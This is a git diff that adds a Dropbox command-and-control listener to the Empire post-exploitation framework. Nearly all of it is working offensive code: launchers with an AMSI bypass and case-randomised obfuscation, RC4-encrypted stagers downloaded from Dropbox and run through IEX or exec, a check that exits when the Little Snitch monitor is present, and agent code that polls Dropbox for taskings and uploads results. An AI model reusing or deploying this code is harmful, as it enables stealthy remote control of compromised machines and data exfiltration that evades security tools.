return ip diff --git a/lib/common/listeners.py b/lib/common/listeners.py index c6c898b..8f24a2b 100644 --- a/lib/common/listeners.py +++ b/lib/common/listeners.py @@ -366,6 +366,20 @@ class Listeners: else: return None + def get_listener_options(self): + """ + Return the options for a listener type + """ + cur = self.conn.cursor() + cur.execute('SELECT options FROM listeners') + results = cur.fetchall() + cur.close() + + if results: + return results[0][0] + else: + return None + def get_listener_names(self): """ diff --git a/lib/listeners/dbx.py b/lib/listeners/dbx.py new file mode 100755 index 0000000..0f74605 --- /dev/null +++ b/lib/listeners/dbx.py @@ -0,0 +1,936 @@ +import base64 +import random +import os +import time +import copy +import dropbox +# from dropbox.exceptions import ApiError, AuthError +# from dropbox.files import FileMetadata, FolderMetadata, CreateFolderError +from pydispatch import dispatcher + +# Empire imports +from lib.common import helpers +from lib.common import agents +from lib.common import encryption +from lib.common import packets +from lib.common import messages + + +class Listener: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Dropbox', + + 'Author': ['@harmj0y'], + + 'Description': ('Starts a Dropbox listener.'), + + 'Category' : ('third_party'), + + 'Comments': [] + } + + # any options needed by the stager, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + + 'Name' : { + 'Description' : 'Name for the listener.', + 'Required' : True, + 'Value' : 'dropbox' + }, + 'APIToken' : { + 'Description' : 'Authorization token for Dropbox API communication.', + 'Required' : True, + 'Value' : '' + }, + 'PollInterval' : { + 'Description' : 'Polling interval (in seconds) to communicate with the Dropbox Server.', + 'Required' : True, + 'Value' : '5' + }, + 'BaseFolder' : { + 'Description' : 'The base Dropbox folder to use for comms.', + 'Required' : True, + 'Value' : '/Empire/' + }, + 'StagingFolder' : { + 'Description' : 'The nested Dropbox staging folder.', + 'Required' : True, + 'Value' : '/staging/' + }, + 'TaskingsFolder' : { + 'Description' : 'The nested Dropbox taskings folder.', + 'Required' : True, + 'Value' : '/taskings/' + }, + 'ResultsFolder' : { + 'Description' : 'The nested Dropbox results folder.', + 'Required' : True, + 'Value' : '/results/' + }, + 'Launcher' : { + 'Description' : 'Launcher string.', + 'Required' : True, + 'Value' : 'powershell -noP -w 1 -enc ' + }, + 'StagingKey' : { + 'Description' : 'Staging key for initial agent negotiation.', + 'Required' : True, + 'Value' : '2c103f2c4ed1e59c0b4e2e01821770fa' + }, + 'DefaultDelay' : { + 'Description' : 'Agent delay/reach back interval (in seconds).', + 'Required' : True, + 'Value' : 60 + }, + 'DefaultJitter' : { + 'Description' : 'Jitter in agent reachback interval (0.0-1.0).', + 'Required' : True, + 'Value' : 0.0 + }, + 'DefaultLostLimit' : { + 'Description' : 'Number of missed checkins before exiting', + 'Required' : True, + 'Value' : 10 + }, + 'DefaultProfile' : { + 'Description' : 'Default communication profile for the agent.', + 'Required' : True, + 'Value' : "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" + }, + 'KillDate' : { + 'Description' : 'Date for the listener to exit (MM/dd/yyyy).', + 'Required' : False, + 'Value' : '' + }, + 'WorkingHours' : { + 'Description' : 'Hours for the agent to operate (09:00-17:00).', + 'Required' : False, + 'Value' : '' + } + } + + # required: + self.mainMenu = mainMenu + self.threads = {} + + # optional/specific for this module + + # set the default staging key to the controller db default + self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0]) + + + def default_response(self): + """ + Returns a default HTTP server page. + """ + return '' + + + def validate_options(self): + """ + Validate all options for this listener. + """ + + self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')] + + for key in self.options: + if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''): + print helpers.color("[!] Option \"%s\" is required." % (key)) + return False + + return True + + + def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): + """ + Generate a basic launcher for the specified listener. + """ + + if not language: + print helpers.color('[!] listeners/dbx generate_launcher(): no language specified!') + + if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): + + # extract the set options for this instantiated listener + listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] + # host = listenerOptions['Host']['Value'] + stagingKey = listenerOptions['StagingKey']['Value'] + profile = listenerOptions['DefaultProfile']['Value'] + launcher = listenerOptions['Launcher']['Value'] + stagingKey = listenerOptions['StagingKey']['Value'] + pollInterval = listenerOptions['PollInterval']['Value'] + apiToken = listenerOptions['APIToken']['Value'] + baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') + stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) + taskingsFolder = "/%s/%s" % (baseFolder, listenerOptions['TaskingsFolder']['Value'].strip('/')) + resultsFolder = "/%s/%s" % (baseFolder, listenerOptions['ResultsFolder']['Value'].strip('/')) + + if language.startswith('po'): + # PowerShell + + stager = '' + if safeChecks.lower() == 'true': + # @mattifestation's AMSI bypass + stager = helpers.randomize_capitalization("[Ref].Assembly.GetType(") + stager += "'System.Management.Automation.AmsiUtils'" + stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') + stager += "'amsiInitFailed','NonPublic,Static'" + stager += helpers.randomize_capitalization(").SetValue($null,$true)};") + stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") + + stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;") + + if userAgent.lower() == 'default': + profile = listenerOptions['DefaultProfile']['Value'] + userAgent = profile.split('|')[1] + stager += "$u='"+userAgent+"';" + + if userAgent.lower() != 'none' or proxy.lower() != 'none': + + if userAgent.lower() != 'none': + stager += helpers.randomize_capitalization('$wc.Headers.Add(') + stager += "'User-Agent',$u);" + + if proxy.lower() != 'none': + if proxy.lower() == 'default': + stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") + else: + # TODO: implement form for other proxy + stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;") + stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';") + stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;") + if proxyCreds.lower() == "default": + stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") + else: + # TODO: implement form for other proxy credentials + pass + + # TODO: reimplement stager retries? + + # code to turn the key string into a byte array + stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") + stager += "'%s');" % (stagingKey) + + # this is the minimized RC4 stager code from rc4.ps1 + stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') + + # add in the Dropbox auth token and API params + stager += "$t='%s';" % (apiToken) + stager += helpers.randomize_capitalization("$wc.Headers.Add(") + stager += "\"Authorization\",\"Bearer $t\");" + stager += helpers.randomize_capitalization("$wc.Headers.Add(") + stager += "\"Dropbox-API-Arg\",'{\"path\":\"%s/debugps\"}');" % (stagingFolder) + + stager += helpers.randomize_capitalization("$data=$WC.DownloadData('") + stager += "https://content.dropboxapi.com/2/files/download');" + stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") + + # decode everything and kick it over to IEX to kick off execution + stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") + + # base64 encode the stager and return it + if encode: + return helpers.powershell_launcher(stager, launcher) + else: + # otherwise return the case-randomized stager + return stager + + elif language.startswith('py'): + launcherBase = 'import sys;' + # monkey patch ssl woohooo + launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" + + try: + if safeChecks.lower() == 'true': + launcherBase += "import re, subprocess;" + launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" + launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n" + launcherBase += "out = ps.stdout.read()\n" + launcherBase += "ps.stdout.close()\n" + launcherBase += "if re.search(\"Little Snitch\", out):\n" + launcherBase += " sys.exit()\n" + except Exception as e: + p = "[!] Error setting LittleSnitch in stager: " + str(e) + print helpers.color(p, color='red') + + if userAgent.lower() == 'default': + profile = listenerOptions['DefaultProfile']['Value'] + userAgent = profile.split('|')[1] + + launcherBase += "import urllib2;\n" + launcherBase += "UA='%s';" % (userAgent) + launcherBase += "t='%s';" % (apiToken) + launcherBase += "server='https://content.dropboxapi.com/2/files/download';" + + launcherBase += "req=urllib2.Request(server);\n" + launcherBase += "req.add_header('User-Agent',UA);\n" + launcherBase += "req.add_header(\"Authorization\",\"Bearer \"+t);" + launcherBase += "req.add_header(\"Dropbox-API-Arg\",'{\"path\":\"%s/debugpy\"}');\n" % (stagingFolder) + + + launcherBase += "if urllib2.getproxies():\n" + launcherBase += " o = urllib2.build_opener();\n" + launcherBase += " o.add_handler(urllib2.ProxyHandler(urllib2.getproxies()))\n" + launcherBase += " urllib2.install_opener(o);\n" + + launcherBase += "a=urllib2.urlopen(req).read();\n" + launcherBase += "IV=a[0:4];" + launcherBase += "data=a[4:];" + launcherBase += "key=IV+'%s';" % (stagingKey) + + # RC4 decryption + launcherBase += "S,j,out=range(256),0,[]\n" + launcherBase += "for i in range(256):\n" + launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" + launcherBase += " S[i],S[j]=S[j],S[i]\n" + launcherBase += "i=j=0\n" + launcherBase += "for char in data:\n" + launcherBase += " i=(i+1)%256\n" + launcherBase += " j=(j+S[i])%256\n" + launcherBase += " S[i],S[j]=S[j],S[i]\n" + launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" + launcherBase += "exec(''.join(out))" + + if encode: + launchEncoded = base64.b64encode(launcherBase) + launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python &" % (launchEncoded) + return launcher + else: + return launcherBase + + else: + print helpers.color("[!] listeners/dbx generate_launcher(): invalid listener name specification!") + + + def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): + """ + Generate the stager code needed for communications with this listener. + """ + + if not language: + print helpers.color('[!] listeners/dbx generate_stager(): no language specified!') + return None + + pollInterval = listenerOptions['PollInterval']['Value'] + stagingKey = listenerOptions['StagingKey']['Value'] + baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') + apiToken = listenerOptions['APIToken']['Value'] + profile = listenerOptions['DefaultProfile']['Value'] + stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) + + if language.lower() == 'powershell': + + # read in the stager base + f = open("%s/data/agent/stagers/dropbox.ps1" % (self.mainMenu.installPath)) + stager = f.read() + f.close() + + # patch the server and key information + stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder) + stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) + stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval) + + randomizedStager = '' + + for line in stager.split("\n"): + line = line.strip() + # skip commented line + if not line.startswith("#"): + # randomize capitalization of lines without quoted strings + if "\"" not in line: + randomizedStager += helpers.randomize_capitalization(line) + else: + randomizedStager += line + + # base64 encode the stager and return it + if encode: + return helpers.enc_powershell(randomizedStager) + elif encrypt: + RC4IV = os.urandom(4) + return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) + else: + # otherwise just return the case-randomized stager + return randomizedStager + + + elif language.lower() == 'python': + + f = open("%s/data/agent/stagers/dropbox.py" % (self.mainMenu.installPath)) + stager = f.read() + f.close() + + stager = helpers.strip_python_comments(stager) + # patch the server and key information + stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder) + stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) + stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval) + stager = stager.replace('REPLACE_PROFILE', profile) + stager = stager.replace('REPLACE_API_TOKEN', apiToken) + + if encode: + return base64.b64encode(stager) + if encrypt: + # return an encrypted version of the stager ("normal" staging) + RC4IV = os.urandom(4) + return RC4IV + encryption.rc4(RC4IV+stagingKey, stager) + else: + # otherwise return the standard stager + return stager + + else: + print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.") + + + def generate_agent(self, listenerOptions, language=None): + """ + Generate the full agent code needed for communications with this listener. + """ + + if not language: + print helpers.color('[!] listeners/dbx generate_agent(): no language specified!') + return None + + language = language.lower() + delay = listenerOptions['DefaultDelay']['Value'] + jitter = listenerOptions['DefaultJitter']['Value'] + profile = listenerOptions['DefaultProfile']['Value'] + lostLimit = listenerOptions['DefaultLostLimit']['Value'] + killDate = listenerOptions['KillDate']['Value'] + workingHours = listenerOptions['WorkingHours']['Value'] + b64DefaultResponse = base64.b64encode(self.default_response()) + + if language == 'powershell': + f = open(self.mainMenu.installPath + "./data/agent/agent.ps1") + code = f.read() + f.close() + + # patch in the comms methods + commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language) + code = code.replace('REPLACE_COMMS', commsCode) + + # strip out comments and blank lines + code = helpers.strip_powershell_comments(code) + + # patch in the delay, jitter, lost limit, and comms profile + code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay)) + code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter)) + code = code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"") + code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit)) + code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+b64DefaultResponse+'"') + + # patch in the killDate and workingHours if they're specified + if killDate != "": + code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',") + if workingHours != "": + code = code.replace('$WorkingHours,', "$WorkingHours = '" + str(workingHours) + "',") + + return code + elif language == 'python': + f = open(self.mainMenu.installPath + "./data/agent/agent.py") + code = f.read() + f.close() + + #path in the comms methods + commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language) + code = code.replace('REPLACE_COMMS', commsCode) + + #strip out comments and blank lines + code = helpers.strip_python_comments(code) + + #patch some more + code = code.replace('delay = 60', 'delay = %s' % (delay)) + code = code.replace('jitter = 0.0', 'jitter = %s' % (jitter)) + code = code.replace('profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', 'profile = "%s"' % (profile)) + code = code.replace('lostLimit = 60', 'lostLimit = %s' % (lostLimit)) + code = code.replace('defaultResponse = base64.b64decode("")', 'defaultResponse = base64.b64decode("%s")' % (b64DefaultResponse)) + + # patch in the killDate and workingHours if they're specified + if killDate != "": + code = code.replace('killDate = ""', 'killDate = "%s"' % (killDate)) + if workingHours != "": + code = code.replace('workingHours = ""', 'workingHours = "%s"' % (killDate)) + + return code + else: + print helpers.color("[!] listeners/dbx generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.") + + + def generate_comms(self, listenerOptions, language=None): + """ + Generate just the agent communication code block needed for communications with this listener. + + This is so agents can easily be dynamically updated for the new listener. + """ + + stagingKey = listenerOptions['StagingKey']['Value'] + pollInterval = listenerOptions['PollInterval']['Value'] + apiToken = listenerOptions['APIToken']['Value'] + baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') + taskingsFolder = "/%s/%s" % (baseFolder, listenerOptions['TaskingsFolder']['Value'].strip('/')) + resultsFolder = "/%s/%s" % (baseFolder, listenerOptions['ResultsFolder']['Value'].strip('/')) + + if language: + if language.lower() == 'powershell': + + updateServers = """ + $Script:APIToken = "%s"; + """ % (apiToken) + + getTask = """ + function script:Get-Task { + try { + # build the web request object + $wc = New-Object System.Net.WebClient + + # set the proxy settings for the WC to be the default system settings + $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy(); + $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials; + $wc.Headers.Add("User-Agent", $script:UserAgent) + $Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)} + + $TaskingsFolder = "%s" + $wc.Headers.Set("Authorization", "Bearer $($Script:APIToken)") + $wc.Headers.Set("Dropbox-API-Arg", "{`"path`":`"$TaskingsFolder/$($script:SessionID).txt`"}") + $Data = $wc.DownloadData("https://content.dropboxapi.com/2/files/download") + + if($Data -and ($Data.Length -ne 0)) { + # if there was a tasking data, remove it + $wc.Headers.Add("Content-Type", " application/json") + $wc.Headers.Remove("Dropbox-API-Arg") + $Null=$wc.UploadString("https://api.dropboxapi.com/2/files/delete", "POST", "{`"path`":`"$TaskingsFolder/$($script:SessionID).txt`"}") + $Data + } + $script:MissedCheckins = 0 + } + catch { + if ($_ -match 'Unable to connect') { + $script:MissedCheckins += 1 + } + } + } + """ % (taskingsFolder) + + sendMessage = """ + function script:Send-Message { + param($Packets) + + if($Packets) { + # build and encrypt the response packet + $EncBytes = Encrypt-Bytes $Packets + + # build the top level RC4 "routing packet" + # meta 'RESULT_POST' : 5 + $RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5 + + # build the web request object + $wc = New-Object System.Net.WebClient + # set the proxy settings for the WC to be the default system settings + $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy(); + $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials; + $wc.Headers.Add('User-Agent', $Script:UserAgent) + $Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)} + + $ResultsFolder = "%s" + + try { + # check if the results file is still in the specified location, if so then + # download the file and append the new routing packet to it + try { + $Data = $Null + $wc.Headers.Set("Authorization", "Bearer $($Script:APIToken)"); + $wc.Headers.Set("Dropbox-API-Arg", "{`"path`":`"$ResultsFolder/$($script:SessionID).txt`"}"); + $Data = $wc.DownloadData("https://content.dropboxapi.com/2/files/download") + } + catch { } + + if($Data -and $Data.Length -ne 0) { + $RoutingPacket = $Data + $RoutingPacket + } + + $wc2 = New-Object System.Net.WebClient + $wc2.Headers.Add("Authorization", "Bearer $($Script:APIToken)") + $wc2.Headers.Add("Content-Type", "application/octet-stream") + $wc2.Headers.Add("Dropbox-API-Arg", "{`"path`":`"$ResultsFolder/$($script:SessionID).txt`"}"); + $Null = $wc2.UploadData("https://content.dropboxapi.com/2/files/upload", "POST", $RoutingPacket) + $script:MissedCheckins = 0 + } + catch { + if ($_ -match 'Unable to connect') { + $script:MissedCheckins += 1 + } + } + } + } + """ % (resultsFolder) + + return updateServers + getTask + sendMessage + + elif language.lower() == 'python': + + sendMessage = """ +def send_message(packets=None): + # Requests a tasking or posts data to a randomized tasking URI. + # If packets == None, the agent GETs a tasking from the control server. + # If packets != None, the agent encrypts the passed packets and + # POSTs the data to the control server. + + def post_message(uri, data, headers): + req = urllib2.Request(uri) + headers['Authorization'] = "Bearer REPLACE_API_TOKEN" + for key, value in headers.iteritems(): + req.add_header("%s"%(key),"%s"%(value)) + + if data: + req.add_data(data) + + o=urllib2.build_opener() + o.add_handler(urllib2.ProxyHandler(urllib2.getproxies())) + urllib2.install_opener(o) + + return urllib2.urlopen(req).read() + + global missedCheckins + global headers + taskingsFolder="REPLACE_TASKSING_FOLDER" + resultsFolder="REPLACE_RESULTS_FOLDER" + data = None + requestUri='' + try: + del headers['Content-Type'] + except: + pass + + + if packets: + data = ''.join(packets) + # aes_encrypt_then_hmac is in stager.py + encData = aes_encrypt_then_hmac(key, data) + data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData) + #check to see if there are any results already present + + headers['Dropbox-API-Arg'] = "{\\"path\\":\\"%s/%s.txt\\"}" % (resultsFolder, sessionID) + + try: + pkdata = post_message('https://content.dropboxapi.com/2/files/download', data=None, headers=headers) + except: + pkdata = None + + if pkdata and len(pkdata) > 0: + data = pkdata + data + + headers['Content-Type'] = "application/octet-stream" + requestUri = 'https://content.dropboxapi.com/2/files/upload' + else: + headers['Dropbox-API-Arg'] = "{\\"path\\":\\"%s/%s.txt\\"}" % (taskingsFolder, sessionID) + requestUri='https://content.dropboxapi.com/2/files/download' + + try: + resultdata = post_message(requestUri, data, headers) + if (resultdata and len(resultdata) > 0) and requestUri.endswith('download'): + headers['Content-Type'] = "application/json" + del headers['Dropbox-API-Arg'] + datastring="{\\"path\\":\\"%s/%s.txt\\"}" % (taskingsFolder, sessionID) + nothing = post_message('https://api.dropboxapi.com/2/files/delete', datastring, headers) + + return ('200', resultdata) + + except urllib2.HTTPError as HTTPError: + # if the server is reached, but returns an erro (like 404) + return (HTTPError.code, '') + + except urllib2.URLError as URLerror: + # if the server cannot be reached + missedCheckins = missedCheckins + 1 + return (URLerror.reason, '') + + return ('', '') +""" + sendMessage = sendMessage.replace('REPLACE_TASKSING_FOLDER', taskingsFolder) + sendMessage = sendMessage.replace('REPLACE_RESULTS_FOLDER', resultsFolder) + sendMessage = sendMessage.replace('REPLACE_API_TOKEN', apiToken) + return sendMessage + else: + print helpers.color('[!] listeners/dbx generate_comms(): no language specified!') + + + def start_server(self, listenerOptions): + """ + Threaded function that actually starts up polling server for Dropbox + polling communication. + + ./Empire/ + ./staging/ + stager.ps1 + SESSION_[1-4].txt + ./taskings/ + SESSIONID.txt + ./results/ + SESSIONID.txt + + /Empire/staging/stager.ps1 -> RC4staging(stager.ps1) uploaded by server + /Empire/staging/sessionID_1.txt -> AESstaging(PublicKey) uploaded by client + /Empire/staging/sessionID_2.txt -> RSA(nonce+AESsession) uploaded by server + /Empire/staging/sessionID_3.txt -> AESsession(nonce+sysinfo) uploaded by client + /Empire/staging/sessionID_4.txt -> AESsession(agent.ps1) uploaded by server + + + client dropbox server + <- upload /Empire/staging/stager.ps1 + read /Empire/staging/stager -> + <- return stager + generate sessionID + upload /Empire/staging/sessionID_1.txt -> + <- read /Empire/staging/sessionID_1.txt + <- upload /Empire/staging/sessionID_2.txt + read /Empire/staging/sessionID_2.txt -> + <- /Empire/staging/sessionID_2.txt + upload /Empire/staging/sessionID_3.txt -> + <- read /Empire/staging/sessionID_3.txt + <- upload /Empire/staging/sessionID_4.txt + read /Empire/staging/sessionID_4.txt -> + <- /Empire/staging/sessionID_4.txt + + + <- upload /Empire/taskings/sessionID.txt + read /Empire/taskings/sessionID.txt -> + <- /Empire/taskings/sessionID.txt + delete /Empire/taskings/sessionID.txt -> + + execute code + upload /Empire/results/sessionID.txt -> + <- read /Empire/results/sessionID.txt + <- delete /Empire/results/sessionID.txt + + """ + + def download_file(dbx, path): + # helper to download a file at the given path + try: + md, res = dbx.files_download(path) + except dropbox.exceptions.HttpError as err: + dispatcher.send("[!] Error download data from '%s' : %s" % (path, err), sender="listeners/dropbox") + return None + return res.content + + def upload_file(dbx, path, data): + # helper to upload a file to the given path + try: + dbx.files_upload(data, path) + except dropbox.exceptions.ApiError: + dispatcher.send("[!] Error uploading data to '%s'" % (path), sender="listeners/dropbox") + + def delete_file(dbx, path): + # helper to delete a file at the given path + try: + dbx.files_delete(path) + except dropbox.exceptions.ApiError: + dispatcher.send("[!] Error deleting data at '%s'" % (path), sender="listeners/dropbox") + + + # make a copy of the currently set listener options for later stager/agent generation + listenerOptions = copy.deepcopy(listenerOptions) + + stagingKey = listenerOptions['StagingKey']['Value'] + pollInterval = listenerOptions['PollInterval']['Value'] + apiToken = listenerOptions['APIToken']['Value'] + listenerName = listenerOptions['Name']['Value'] + baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') + stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) + taskingsFolder = "/%s/%s" % (baseFolder, listenerOptions['TaskingsFolder']['Value'].strip('/')) + resultsFolder = "/%s/%s" % (baseFolder, listenerOptions['ResultsFolder']['Value'].strip('/')) + + dbx = dropbox.Dropbox(apiToken) + + # ensure that the access token supplied is valid + try: + dbx.users_get_current_account() + except dropbox.exceptions.AuthError as err: + print helpers.color("[!] ERROR: Invalid access token; try re-generating an access token from the app console on the web.") + return False + + # setup the base folder structure we need + try: + dbx.files_create_folder(stagingFolder) + except dropbox.exceptions.ApiError: + dispatcher.send("[*] Dropbox folder '%s' already exists" % (stagingFolder), sender="listeners/dropbox") + try: + dbx.files_create_folder(taskingsFolder) + except dropbox.exceptions.ApiError: + dispatcher.send("[*] Dropbox folder '%s' already exists" % (taskingsFolder), sender="listeners/dropbox") + try: + dbx.files_create_folder(resultsFolder) + except dropbox.exceptions.ApiError: + dispatcher.send("[*] Dropbox folder '%s' already exists" % (resultsFolder), sender="listeners/dropbox") + + # upload the stager.ps1 code + stagerCodeps = self.generate_stager(listenerOptions=listenerOptions, language='powershell') + stagerCodepy = self.generate_stager(listenerOptions=listenerOptions, language='python') + try: + # delete stager if it exists + delete_file(dbx, "%s/debugps" % (stagingFolder)) + delete_file(dbx, "%s/debugpy" % (stagingFolder)) + dbx.files_upload(stagerCodeps, "%s/debugps" % (stagingFolder)) + dbx.files_upload(stagerCodepy, "%s/debugpy" % (stagingFolder)) + except dropbox.exceptions.ApiError: + print helpers.color("[!] Error uploading stager to '%s/stager'" % (stagingFolder)) + return + + while True: + + time.sleep(int(pollInterval)) + + # search for anything in /Empire/staging/* + for match in dbx.files_search(stagingFolder, "*.txt").matches: + fileName = str(match.metadata.path_display) + relName = fileName.split('/')[-1][:-4] + sessionID, stage = relName.split('_') + sessionID = sessionID.upper() + + if '_' in relName: + if stage == '1': + try: + md, res = dbx.files_download(fileName) + except dropbox.exceptions.HttpError as err: + dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox") + continue + stageData = res.content + + dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, stageData, listenerOptions) + if dataResults and len(dataResults) > 0: + for (language, results) in dataResults: + # TODO: more error checking + try: + dbx.files_delete(fileName) + except dropbox.exceptions.ApiError: + dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox") + try: + stageName = "%s/%s_2.txt" % (stagingFolder, sessionID) + dispatcher.send("[*] Uploading key negotiation part 2 to %s for %s" % (stageName, sessionID), sender='listeners/dbx') + dbx.files_upload(results, stageName) + except dropbox.exceptions.ApiError: + dispatcher.send("[!] Error uploading data to '%s'" % (stageName), sender="listeners/dropbox") + + if stage == '3': + try: + md, res = dbx.files_download(fileName) + except dropbox.exceptions.HttpError as err: + dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox") + continue + stageData = res.content + + dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, stageData, listenerOptions) + if dataResults and len(dataResults) > 0: + # print "dataResults:",dataResults + for (language, results) in dataResults: + if results.startswith('STAGE2'): + sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey'] + dispatcher.send("[*] Sending agent (stage 2) to %s through Dropbox" % (sessionID), sender='listeners/dbx') + + try: + dbx.files_delete(fileName) + except dropbox.exceptions.ApiError: + dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox") + + try: + fileName2 = fileName.replace("%s_3.txt" % (sessionID), "%s_2.txt" % (sessionID)) + dbx.files_delete(fileName2) + except dropbox.exceptions.ApiError: + dispatcher.send("[!] Error deleting data at '%s'" % (fileName2), sender="listeners/dropbox") + + # step 6 of negotiation -> server sends patched agent.ps1/agent.py + agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions) + returnResults = encryption.aes_encrypt_then_hmac(sessionKey, agentCode) + + try: + stageName = "%s/%s_4.txt" % (stagingFolder, sessionID) + dispatcher.send("[*] Uploading key negotiation part 4 (agent) to %s for %s" % (stageName, sessionID), sender='listeners/dbx') + dbx.files_upload(returnResults, stageName) + except dropbox.exceptions.ApiError: + dispatcher.send("[!] Error uploading data to '%s'" % (stageName), sender="listeners/dropbox") + + + # get any taskings applicable for agents linked to this listener + sessionIDs = self.mainMenu.agents.get_agents_for_listener(listenerName) + for sessionID in sessionIDs: + taskingData = self.mainMenu.agents.handle_agent_request(sessionID, 'powershell', stagingKey) + if taskingData: + try: + taskingFile = "%s/%s.txt" % (taskingsFolder, sessionID) + + # if the tasking file still exists, download/append + upload again + existingData = None + try: + md, res = dbx.files_download(taskingFile) + existingData = res.content + except: + existingData = None + + if existingData: + taskingData = taskingData + existingData + + dispatcher.send("[*] Uploading agent tasks for %s to %s" % (sessionID, taskingFile), sender='listeners/dbx') + dbx.files_upload(taskingData, taskingFile, mode=dropbox.files.WriteMode.overwrite) + except dropbox.exceptions.ApiError as e: + dispatcher.send("[!] Error uploading agent tasks for %s to %s : %s" % (sessionID, taskingFile, e), sender="listeners/dropbox") + + # check for any results returned + for match in dbx.files_search(resultsFolder, "*.txt").matches: + fileName = str(match.metadata.path_display) + sessionID = fileName.split('/')[-1][:-4] + + dispatcher.send("[*] Downloading data for '%s' from %s" % (sessionID, fileName), sender="listeners/dropbox") + + try: + md, res = dbx.files_download(fileName) + except dropbox.exceptions.HttpError as err: + dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox") + continue + + responseData = res.content + + try: + dbx.files_delete(fileName) + except dropbox.exceptions.ApiError: + dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox") + + self.mainMenu.agents.handle_agent_data(stagingKey, responseData, listenerOptions) + + + def start(self, name=''): + """ + Start a threaded instance of self.start_server() and store it in the + self.threads dictionary keyed by the listener name. + """ + listenerOptions = self.options + if name and name != '': + self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.threads[name].start() + time.sleep(3) + # returns True if the listener successfully started, false otherwise + return self.threads[name].is_alive() 